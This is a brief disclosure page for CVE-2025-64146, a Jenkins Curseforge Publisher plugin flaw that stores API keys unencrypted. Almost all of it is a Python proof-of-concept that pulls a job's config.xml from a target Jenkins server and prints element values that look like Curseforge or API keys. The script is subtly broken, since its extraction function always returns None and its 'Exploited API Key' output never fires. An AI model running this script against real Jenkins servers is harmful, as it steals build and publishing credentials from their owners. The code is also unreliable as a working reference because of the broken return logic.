CVE-2025-64146: Jenkins Curseforge Publisher Plugin明文存储API密钥漏洞

# CVE-2025-64146 PoC - Jenkins Curseforge Publisher Plugin API Key Disclosure # This PoC demonstrates how to retrieve unencrypted API keys from Jenkins config.xml import requests from xml.etree import ElementTree as ET def get_jenkins_config(jenkins_url, job_name, auth=None): """ Retrieve Jenkins job configuration XML """ config_url = f"{jenkins_url}/job/{job_name}/config.xml" response = requests.get(config_url, auth=auth) return response.text if response.status_code == 200 else None def extract_curseforge_api_key(config_xml): """ Extract unencrypted API key from plugin configuration """ try: root = ET.fromstring(config_xml) # Search for curseforge-related configuration elements for elem in root.iter(): if 'curseforge' in elem.tag.lower() or 'api' in elem.tag.lower(): if elem.text and len(elem.text.strip()) > 0: print(f"Found potential API key in {elem.tag}: {elem.text}") return None except ET.ParseError: print("Error parsing config.xml") return None def main(): jenkins_url = "http://target-jenkins-server:8080" job_name = "your-cursed-job-name" # Optional: Basic auth credentials auth = ('username', 'password') config_xml = get_jenkins_config(jenkins_url, job_name, auth) if config_xml: api_key = extract_curseforge_api_key(config_xml) if api_key: print(f"Exploited API Key: {api_key}") if __name__ == "__main__": main()